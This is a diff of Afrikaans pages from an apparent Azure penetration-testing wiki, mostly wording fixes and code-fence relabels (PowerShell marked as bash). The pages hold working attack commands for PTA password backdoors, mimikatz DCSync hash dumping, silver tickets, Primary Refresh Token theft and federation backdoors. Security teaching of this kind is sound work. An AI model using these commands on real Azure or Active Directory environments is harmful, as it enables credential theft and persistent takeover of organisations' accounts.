@@ -83,7 +83,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
Dit is ook moontlik om **slegs die wagwoorde van wolk** gebruikers te **wysig** (selfs al is dit onverwags)
-```powershell
+```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
@@ -104,7 +104,7 @@ Dit is moontlik om Seamless SSO met PHS te gebruik, wat kwesbaar is vir ander mi
seamless-sso.md
{{#endref}}
-## Verwysings
+## References
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
index 7357c62a4..692c8911a 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
@@ -6,34 +6,34 @@
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication laat jou gebruikers toe om **in te teken op beide plaaslike en wolk-gebaseerde toepassings met dieselfde wagwoorde**. Hierdie funksie bied jou gebruikers 'n beter ervaring - een minder wagwoord om te onthou, en verminder IT-helpdesk koste omdat jou gebruikers minder geneig is om te vergeet hoe om in te teken. Wanneer gebruikers in teken met Azure AD, **valideer hierdie funksie gebruikers se wagwoorde direk teen jou plaaslike Active Directory**.
-In PTA **identiteite** is **gesinchroniseer** maar **wagwoorde** **is nie** soos in PHS nie.
+In PTA **identiteite** is **gesinkroniseer** maar **wagwoorde** **is nie** soos in PHS.
-Die autentisering word in die plaaslike AD gevalideer en die kommunikasie met die wolk word gedoen deur 'n **autentisering agent** wat op 'n **plaaslike bediener** loop (dit hoef nie op die plaaslike DC te wees nie).
+Die verifikasie word in die plaaslike AD gevalideer en die kommunikasie met die wolk word gedoen deur 'n **verifikasie-agent** wat op 'n **plaaslike bediener** loop (dit hoef nie op die plaaslike DC te wees nie).
-### Autentisering vloei
+### Verifikasievloei
-1. Om te **log in** word die gebruiker herlei na **Azure AD**, waar hy die **gebruikersnaam** en **wagwoord** stuur
+1. Om te **log in** word die gebruiker na **Azure AD** herlei, waar hy die **gebruikersnaam** en **wagwoord** stuur
2. Die **bewyse** word **geënkripteer** en in 'n **ry** in Azure AD gestel
-3. Die **plaaslike autentisering agent** versamel die **bewyse** uit die ry en **dekripteer** dit. Hierdie agent word **"Pass-through authentication agent"** of **PTA agent** genoem.
+3. Die **plaaslike verifikasie-agent** versamel die **bewyse** uit die ry en **dekripteer** dit. Hierdie agent word **"Pass-through authentication agent"** of **PTA agent** genoem.
4. Die **agent** **valideer** die bewys teen die **plaaslike AD** en stuur die **antwoord** **terug** na Azure AD wat, indien die antwoord positief is, die **inlog van die gebruiker voltooi**.
> [!WARNING]
> As 'n aanvaller die **PTA** **kompromitteer**, kan hy die alle **bewyse** uit die ry **sien** (in **duidelike teks**).\
-> Hy kan ook **enige bewys** na die AzureAD **valideer** (soortgelyke aanval soos Skeleton key).
+> Hy kan ook **enige bewys** na die AzureAD **valideer** (soortgelyke aanval op Skeleton key).
### Plaaslik -> wolk
-As jy **admin** toegang het tot die **Azure AD Connect bediener** met die **PTA** **agent** wat loop, kan jy die **AADInternals** module gebruik om 'n **agterdeur** te **invoeg** wat **ALLE wagwoorde** wat ingevoer word, **sal valideer** (sodat alle wagwoorde geldig sal wees vir autentisering):
-```powershell
+As jy **admin** toegang het tot die **Azure AD Connect bediener** met die **PTA** **agent** wat loop, kan jy die **AADInternals** module gebruik om 'n **agterdeur** te **invoeg** wat **AL die wagwoorde** wat ingevoer word, **sal valideer** (sodat al die wagwoorde geldig sal wees vir verifikasie):
+```bash
Install-AADIntPTASpy
```
> [!NOTE]
> As die **installasie misluk**, is dit waarskynlik as gevolg van ontbrekende [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
-Dit is ook moontlik om **die duidelike teks wagwoorde wat na die PTA-agent gestuur is** te **sien** deur die volgende cmdlet op die masjien waar die vorige agterdeur geïnstalleer is te gebruik:
-```powershell
+Dit is ook moontlik om **die duidelike teks wagwoorde wat na die PTA-agent gestuur is, te sien** deur die volgende cmdlet op die masjien waar die vorige agterdeur geïnstalleer is te gebruik:
+```bash
Get-AADIntPTASpyLog -DecodePasswords
```
Hierdie agterdeur sal:
@@ -48,7 +48,7 @@ Hierdie agterdeur sal:
### Cloud -> On-Prem
> [!CAUTION]
-> Nadat **GA bevoegdhede** op die wolk verkry is, is dit moontlik om **'n nuwe PTA-agent te registreer** deur dit op 'n **aanvaller beheerde masjien** in te stel. Sodra die agent **opgestel** is, kan ons die **vorige** stappe **herhaal** om **te autentiseer met enige wagwoord** en ook, **die wagwoorde in duidelike teks te verkry.**
+> Nadat **GA bevoegdhede** op die wolk verkry is, is dit moontlik om **'n nuwe PTA-agent te registreer** deur dit op 'n **aanvaller beheerde masjien** in te stel. Sodra die agent **opgestel** is, kan ons die **vorige** stappe **herhaal** om **met enige wagwoord te autentiseer** en ook, **die wagwoorde in duidelike teks te verkry.**
### Seamless SSO
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
index edd6af0bc..33f96bded 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
@@ -4,24 +4,24 @@
## Basiese Inligting
-[Van die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) teken outomaties **gebruikers in wanneer hulle op hul korporatiewe toestelle** wat aan jou korporatiewe netwerk gekoppel is. Wanneer geaktiveer, **hoef gebruikers nie hul wagwoorde in te tik om in te teken by Azure AD nie**, en gewoonlik, selfs nie hul gebruikersname nie. Hierdie funksie bied jou gebruikers maklike toegang tot jou wolk-gebaseerde toepassings sonder om enige addisionele on-premises komponente te benodig.
+[Van die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) teken **gebruikers outomaties in wanneer hulle op hul korporatiewe toestelle** wat aan jou korporatiewe netwerk gekoppel is. Wanneer geaktiveer, **hoef gebruikers nie hul wagwoorde in te tik om in te teken op Azure AD nie**, en gewoonlik, selfs nie hul gebruikersname nie. Hierdie funksie bied jou gebruikers maklike toegang tot jou wolk-gebaseerde toepassings sonder die behoefte aan enige addisionele plaaslike komponente.
-Basies teken Azure AD Seamless SSO **gebruikers** in wanneer hulle **op 'n on-prem domein-verbonden PC** is.
+Basies teken Azure AD Seamless SSO **gebruikers** in wanneer hulle **op 'n plaaslike domein-verbonden PC** is.
Dit word deur beide [**PHS (Wagwoord Hash Sync)**](phs-password-hash-sync.md) en [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) ondersteun.
-Desktop SSO gebruik **Kerberos** vir verifikasie. Wanneer geconfigureer, skep Azure AD Connect 'n **rekenaarrekening genaamd AZUREADSSOACC`$`** in on-prem AD. Die wagwoord van die `AZUREADSSOACC$` rekening word **as plain-text na Azure AD gestuur** tydens die konfigurasie.
+Desktop SSO gebruik **Kerberos** vir verifikasie. Wanneer geconfigureer, skep Azure AD Connect 'n **rekenaarrekening genaamd AZUREADSSOACC`$`** in plaaslike AD. Die wagwoord van die `AZUREADSSOACC$` rekening word **as plain-text na Azure AD gestuur** tydens die konfigurasie.
Die **Kerberos kaartjies** is **geënkripteer** met die **NTHash (MD4)** van die wagwoord en Azure AD gebruik die gestuurde wagwoord om die kaartjies te ontsleutel.
**Azure AD** stel 'n **eindpunt** (https://autologon.microsoftazuread-sso.com) beskikbaar wat Kerberos **kaartjies** aanvaar. Die blaaiert van die domein-verbonden masjien stuur die kaartjies na hierdie eindpunt vir SSO.
-### On-prem -> wolk
+### Plaaslik -> wolk
-Die **wagwoord** van die gebruiker **`AZUREADSSOACC$` verander nooit**. Daarom kan 'n domein admin die **hash van hierdie rekening** kompromenteer, en dit dan gebruik om **silwer kaartjies** te skep om met **enige on-prem gebruiker gesinkroniseer** aan Azure te verbind:
-```powershell
+Die **wagwoord** van die gebruiker **`AZUREADSSOACC$` verander nooit**. Daarom kan 'n domein admin die **hash van hierdie rekening** kompromitteer, en dit dan gebruik om **silwer kaartjies** te skep om met **enige plaaslike gebruiker gesinkroniseer** aan Azure te verbind:
+```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
@@ -39,7 +39,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
Met die hash kan jy nou **silwer kaartjies genereer**:
-```powershell
+```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -74,7 +74,7 @@ Om die silwer kaartjie te gebruik, moet die volgende stappe uitgevoer word:
Dit is ook moontlik om hierdie aanval **sonder 'n dcsync-aanval** uit te voer om meer stil te wees, soos [in hierdie blogpos verduidelik](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Hiervoor het jy net een van die volgende nodig:
-- **'n Gecompromitteerde gebruiker se TGT:** Selfs as jy nie een het nie, maar die gebruiker was gecompromitteer, kan jy een kry met die vals TGT-delegasie truuk wat in baie gereedskap geïmplementeer is, soos [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) en [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
+- **'n Gecompromitteerde gebruiker se TGT:** Selfs al het jy nie een nie, maar die gebruiker was gecompromitteer, kan jy een kry met die vals TGT-delegasie truuk wat in baie gereedskap geïmplementeer is, soos [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) en [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Goue Kaartjie**: As jy die KRBTGT-sleutel het, kan jy die TGT wat jy vir die aangevalde gebruiker nodig het, skep.
- **'n Gecompromitteerde gebruiker se NTLM-hash of AES-sleutel:** SeamlessPass sal met die domeinbeheerder kommunikeer met hierdie inligting om die TGT te genereer.
- **AZUREADSSOACC$ rekening NTLM-hash of AES-sleutel:** Met hierdie inligting en die gebruiker se Veiligheidsidentifiseerder (SID) om aan te val, is dit moontlik om 'n dienskaartjie te skep en met die wolk te verifieer (soos in die vorige metode uitgevoer).
@@ -83,15 +83,15 @@ Laastens, met die TGT is dit moontlik om die gereedskap [**SeamlessPass**](https
```
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt
```
-Verder inligting om Firefox te stel om met naatlose SSO te werk kan [**gevind word in hierdie blogpos**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
+Verder inligting om Firefox te stel om met naatlose SSO te werk, kan [**gevind word in hierdie blogpos**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
#### ~~Skep Kerberos-tickets vir slegs-cloud gebruikers~~
-As die Active Directory-administrateurs toegang tot Azure AD Connect het, kan hulle **SID vir enige cloud-gebruiker stel**. Op hierdie manier kan Kerberos **tickets** ook **vir slegs-cloud gebruikers geskep word**. Die enigste vereiste is dat die SID 'n behoorlike [SID]().
+As die Active Directory-administrateurs toegang tot Azure AD Connect het, kan hulle **SID vir enige cloud-gebruiker stel**. Op hierdie manier kan Kerberos **tickets** ook **vir slegs-cloud gebruikers geskep word**. Die enigste vereiste is dat die SID 'n behoorlike [SID]() is.
> [!CAUTION]
-> Om die SID van slegs-cloud admin gebruikers te verander is nou **geblokkeer deur Microsoft**.\
-> Vir inligting kyk [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
+> Om die SID van slegs-cloud administrateur gebruikers te verander, is nou **geblokkeer deur Microsoft**.\
+> Vir inligting, kyk [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
### On-prem -> Cloud via Hulpbron-gebaseerde Beperkte Afvaardiging
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
index a03b030eb..97f57d2bf 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -34,7 +34,7 @@ Die PRT-koekie word eintlik **`x-ms-RefreshTokenCredential`** genoem en dit is '
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}
```
-Die werklike **Primary Refresh Token (PRT)** is ingekapsuleer binne die **`refresh_token`**, wat geënkripteer is deur 'n sleutel onder die beheer van Azure AD, wat sy inhoud ondoorgrondelik en onontcijferbaar vir ons maak. Die veld **`is_primary`** dui die inkapseling van die primêre verfrissings-token binne hierdie token aan. Om te verseker dat die koekie gebind bly aan die spesifieke aanmeldsessie waarvoor dit bedoel was, word die `request_nonce` van die `logon.microsoftonline.com` bladsy oorgedra.
+Die werklike **Primary Refresh Token (PRT)** is ingekapsuleer binne die **`refresh_token`**, wat geënkripteer is deur 'n sleutel onder die beheer van Azure AD, wat sy inhoud ondoorgrondelik en onontcijferbaar vir ons maak. Die veld **`is_primary`** dui die inkapseling van die primêre verfrissingsleutel binne hierdie token aan. Om te verseker dat die koekie gebind bly aan die spesifieke aanmeldsessie waarvoor dit bedoel was, word die `request_nonce` van die `logon.microsoftonline.com` bladsy oorgedra.
### PRT Koekie vloei met behulp van TPM
@@ -48,20 +48,20 @@ Daarom, selfs al kan die PRT nie onttrek word nie omdat dit binne die TPM geleë
## PRT Misbruik Scenario's
-As 'n **gewone gebruiker** is dit moontlik om **PRT gebruik aan te vra** deur LSASS vir SSO-data te vra.\
-Dit kan gedoen word soos **natuurlike toepassings** wat tokens van **Web Account Manager** (token broker) aan vra. WAM stuur die versoek na **LSASS**, wat vir tokens vra met 'n ondertekende PRT-assertie. Of dit kan gedoen word met **blaaier-gebaseerde (web) vloei** waar 'n **PRT koekie** as **kop** gebruik word om versoeke na Azure AS aanmeldbladsye te verifieer.
+As 'n **gewone gebruiker** is dit moontlik om **PRT gebruik aan te vra** deur LSASS vir SSO data te vra.\
+Dit kan gedoen word soos **natuurlike toepassings** wat tokens van **Web Account Manager** (token broker) aan vra. WAM stuur die versoek na **LSASS**, wat tokens vra met 'n ondertekende PRT-assertie. Of dit kan gedoen word met **blaaier-gebaseerde (web) vloei** waar 'n **PRT koekie** as **kop** gebruik word om versoeke na Azure AS aanmeldbladsye te verifieer.
-As **SISTEEM** kan jy die **PRT steel as dit nie deur TPM beskerm word nie** of **interaksie hê met PRT sleutels in LSASS** met behulp van kripto API's.
+As **SISTEEM** kan jy die **PRT steel as dit nie deur TPM beskerm word nie** of **interaksie hê met PRT sleutels in LSASS** met behulp van crypto APIs.
## Pass-the-PRT Aanval Voorbeelde
### Aanval - ROADtoken
-Vir meer inligting oor hierdie manier [**kyk na hierdie pos**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken sal **`BrowserCore.exe`** van die regte gids uitvoer en dit gebruik om 'n **PRT koekie** te **verkry**. Hierdie koekie kan dan met ROADtools gebruik word om te verifieer en 'n **volhoubare verfrissings-token** te **verkry**.
+Vir meer inligting oor hierdie manier [**kyk hierdie pos**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken sal **`BrowserCore.exe`** van die regte gids uitvoer en dit gebruik om 'n **PRT koekie** te **verkry**. Hierdie koekie kan dan met ROADtools gebruik word om te verifieer en 'n **volhoubare verfrissingsleutel** te **verkry**.
Om 'n geldige PRT koekie te genereer, is die eerste ding wat jy nodig het 'n nonce.\
Jy kan dit kry met:
-```powershell
+```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
@@ -77,19 +77,19 @@ $Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
```
Of deur [**roadrecon**](https://github.com/dirkjanm/ROADtools):
-```powershell
+```bash
roadrecon auth prt-init
```
-Dan kan jy [**roadtoken**](https://github.com/dirkjanm/ROADtoken) gebruik om 'n nuwe PRT te kry (hardloop in die hulpmiddel vanaf 'n proses van die gebruiker om aan te val):
-```powershell
+Dan kan jy [**roadtoken**](https://github.com/dirkjanm/ROADtoken) gebruik om 'n nuwe PRT te verkry (voer die hulpmiddel uit vanaf 'n proses van die gebruiker om aan te val):
+```bash
.\ROADtoken.exe
```
As 'n eenlyn:
-```powershell
+```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
Dan kan jy die **gegenereerde koekie** gebruik om **tokens** te **genereer** om in te **log** met Azure AD **Graph** of Microsoft Graph:
-```powershell
+```bash
# Generate
roadrecon auth --prt-cookie
@@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken --AccountId
### Aanval - Gebruik AADInternals en 'n gelekte PRT
`Get-AADIntUserPRTToken` **kry die gebruiker se PRT-token** van die Azure AD-verbinde of Hibrid-verbinde rekenaar. Gebruik `BrowserCore.exe` om die PRT-token te kry.
-```powershell
+```bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
@@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
```
Of as jy die waardes van Mimikatz het, kan jy ook AADInternals gebruik om 'n token te genereer:
-```powershell
+```bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
@@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID -AccountId
```
-Gaan na [https://login.microsoftonline.com](https://login.microsoftonline.com), verwyder alle koekies vir login.microsoftonline.com en voer 'n nuwe koekie in.
+Gaan na [https://login.microsoftonline.com](https://login.microsoftonline.com), maak alle koekies vir login.microsoftonline.com skoon en voer 'n nuwe koekie in.
```
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
@@ -158,7 +158,7 @@ Dan gaan na [https://portal.azure.com](https://portal.azure.com)
> [!CAUTION]
> Let daarop dat as die PRT binne die TPM is en nie binne `lsass` nie, **sal mimikatz nie in staat wees om dit te onttrek nie**.\
-> Dit sal egter moontlik wees om 'n **sleutel van 'n afgeleide sleutel uit 'n konteks** van die TPM te verkry en dit te gebruik om 'n **koekie te teken (kyk na opsie 3).**
+> Dit sal egter moontlik wees om 'n **sleutel van 'n afgeleide sleutel uit 'n konteks** van die TPM te kry en dit te gebruik om 'n **koekie te teken (kyk na opsie 3).**
Jy kan 'n **in-diepte verduideliking van die uitgevoerde proses** om hierdie besonderhede te onttrek hier vind: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
@@ -166,7 +166,7 @@ Jy kan 'n **in-diepte verduideliking van die uitgevoerde proses** om hierdie bes
> Dit sal nie presies werk na die Augustus 2021 regstellings om ander gebruikers se PRT tokens te verkry nie, aangesien slegs die gebruiker sy PRT kan verkry (n plaaslike admin kan nie ander gebruikers se PRTs toegang nie), maar kan syne toegang.
Jy kan **mimikatz** gebruik om die PRT te onttrek:
-```powershell
+```bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap
@@ -180,7 +180,7 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
**Kopieer** die deel gemerk **Prt** en stoor dit.\
-Onthou ook die sessiesleutel (die **`KeyValue`** van die **`ProofOfPossesionKey`** veld) wat jy hieronder gemerk kan sien. Dit is versleuteld en ons sal ons DPAPI meester sleutels moet gebruik om dit te ontsleutel.
+Onttrek ook die sessiesleutel (die **`KeyValue`** van die **`ProofOfPossesionKey`** veld) wat jy hieronder gemerk kan sien. Dit is versleuteld en ons sal ons DPAPI meester sleutels moet gebruik om dit te ontsleutel.
@@ -220,11 +220,11 @@ HttpOnly: Set to True (checked)
- Gaan dan na [https://portal.azure.com](https://portal.azure.com)
> [!CAUTION]
-> Die res behoort die verstekinstellings te wees. Maak seker jy kan die bladsy verfris en die koekie verdwyn nie, as dit wel gebeur, het jy dalk 'n fout gemaak en moet die proses weer deurgaan. As dit nie gebeur nie, behoort jy reg te wees.
+> Die res moet die standaardinstellings wees. Maak seker jy kan die bladsy verfris en die koekie verdwyn nie, as dit wel gebeur, het jy dalk 'n fout gemaak en moet die proses weer deurgaan. As dit nie gebeur nie, behoort jy reg te wees.
#### Opsie 2 - roadrecon met PRT
-- Vernuw die PRT eers, wat dit in `roadtx.prt` sal stoor:
+- Vernuw eerstens die PRT, wat dit in `roadtx.prt` sal stoor:
```bash
roadtx prt -a renew --prt --prt-sessionkey
```
diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
index d4aaa6c8e..06bae9103 100644
--- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
@@ -2,6 +2,8 @@
{{#include ../../banners/hacktricks-training.md}}
-Om die toetse te begin, moet jy toegang hê met 'n gebruiker met **Leser toestemmings oor die intekening** en **Globale Leser rol in AzureAD**. As jy selfs in daardie geval **nie in staat is om die inhoud van die Stoor rekeninge te bekom nie**, kan jy dit regstel met die **rol Stoor Rekening Bydraer**.
+Om 'n wit boks verhardingsoorsig van sommige Entra ID-tenants te begin, moet jy vra vir **Globale Leser rol op elke tenant**. Boonop, om 'n verhardingsoorsig van verskillende Azure-subskripsies uit te voer, sal jy ten minste die **Leser toestemmings oor al die subskripsies** benodig.
+
+Let daarop dat as daardie rolle nie genoeg is om toegang te verkry tot al die inligting wat jy nodig het nie, jy ook die kliënt kan vra vir rolle met die toestemmings wat jy benodig. Probeer net om die **hoeveelheid nie lees-alleen toestemmings wat jy vra te minimaliseer!**
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md
index afbd924a4..c958af075 100644
--- a/src/pentesting-cloud/azure-security/az-persistence/README.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/README.md
@@ -10,38 +10,38 @@ Boonop kan jy ook daardie toepassing met jou gebruiker aanvaar as 'n manier om t
### Toepassings en Diensbeginsels
-Met voorregte van Toepassing Administrateur, GA of 'n pasgemaakte rol met microsoft.directory/applications/credentials/update toestemmings, kan ons kredensiale (geheime of sertifikaat) aan 'n bestaande toepassing voeg.
+Met voorregte van Toepassing Administrateur, GA of 'n pasgemaakte rol met microsoft.directory/applications/credentials/update toestemmings, kan ons geloofsbriewe (geheime of sertifikaat) aan 'n bestaande toepassing voeg.
-Dit is moontlik om 'n **toepassing met hoë toestemmings** te **teiken** of 'n **nuwe toepassing** met hoë toestemmings toe te voeg.
+Dit is moontlik om **'n toepassing met hoë toestemmings te teiken** of **'n nuwe toepassing** met hoë toestemmings toe te voeg.
'n Interessante rol om by die toepassing te voeg, sou die **Privileged authentication administrator role** wees, aangesien dit toelaat om die wagwoord van Globale Administrators te **herstel**.
Hierdie tegniek laat ook toe om **MFA te omseil**.
-```powershell
+```bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
```
- Vir sertifikaat-gebaseerde outentisering
-```powershell
+```bash
Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId
```
### Federasie - Token Onderteken Sertifikaat
Met **DA bevoegdhede** op on-prem AD, is dit moontlik om **nuwe Token onderteken** en **Token Decrypt sertifikate** te skep en in te voer wat 'n baie lang geldigheid het. Dit sal ons in staat stel om **in te teken as enige gebruiker** wie se ImuutableID ons ken.
-**Voer** die onderstaande opdrag uit as **DA op die ADFS bediener(s)** om nuwe sertifikate te skep (standaard wagwoord 'AADInternals'), voeg dit by ADFS, deaktiveer outomatiese hernuwing en herbegin die diens:
-```powershell
+**Voer** die onderstaande opdrag uit as **DA op die ADFS bediener(s)** om nuwe sertifikate te skep (standaard wagwoord 'AADInternals'), voeg dit by ADFS, deaktiveer outomatiese rolverdeling en herbegin die diens:
+```bash
New-AADIntADFSSelfSignedCertificates
```
-Dan, werk die sertifikaatinligting by met Azure AD:
-```powershell
+Dan, werk die sertifikaatinligting met Azure AD op:
+```bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
### Federasie - Betroubare Domein
-Met GA-privileges op 'n huurder, is dit moontlik om 'n **nuwe domein** toe te voeg (moet geverifieer word), sy autentikasietipe na Federated te konfigureer en die domein te **vertrou op 'n spesifieke sertifikaat** (any.sts in die onderstaande opdrag) en uitreiker:
-```powershell
+Met GA-privileges op 'n tenant, is dit moontlik om 'n **nuwe domein** toe te voeg (moet geverifieer word), sy autentikasietipe na Federated te konfigureer en die domein te **vertrou op 'n spesifieke sertifikaat** (any.sts in die onderstaande opdrag) en uitreiker:
+```bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md
index 5a3c4d3a4..71b127666 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md
@@ -12,16 +12,16 @@ Vir meer inligting, kyk:
### Hybrid Workers Group
-Onthou dat as 'n aanvaller op een of ander manier 'n arbitrêre runbook (arbitrêre kode) in 'n hybride werker kan uitvoer, hy sal **na die ligging van die VM pivot**. Dit kan 'n plaaslike masjien wees, 'n VPC van 'n ander wolk of selfs 'n Azure VM.
+Onthou dat as 'n aanvaller op een of ander manier 'n arbitrêre runbook (arbitrêre kode) in 'n hybride werker kan uitvoer, hy sal **pivot na die ligging van die VM**. Dit kan 'n plaaslike masjien wees, 'n VPC van 'n ander wolk of selfs 'n Azure VM.
-Boonop, as die hybride werker in Azure met ander Gemanage Identiteite aanheg, sal die runbook toegang hê tot die **gemanage identiteit van die runbook en al die gemanage identiteite van die VM vanaf die metadata diens**.
+Boonop, as die hybride werker in Azure met ander Gemanagte Identiteite aanheg, sal die runbook toegang hê tot die **gemanagte identiteit van die runbook en al die gemanagte identiteite van die VM vanaf die metadata-diens**.
> [!TIP]
-> Onthou dat die **metadata diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die gemanage identiteite token van die outomatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**).
+> Onthou dat die **metadata-diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die gemanagte identiteite-token van die outomatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**).
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
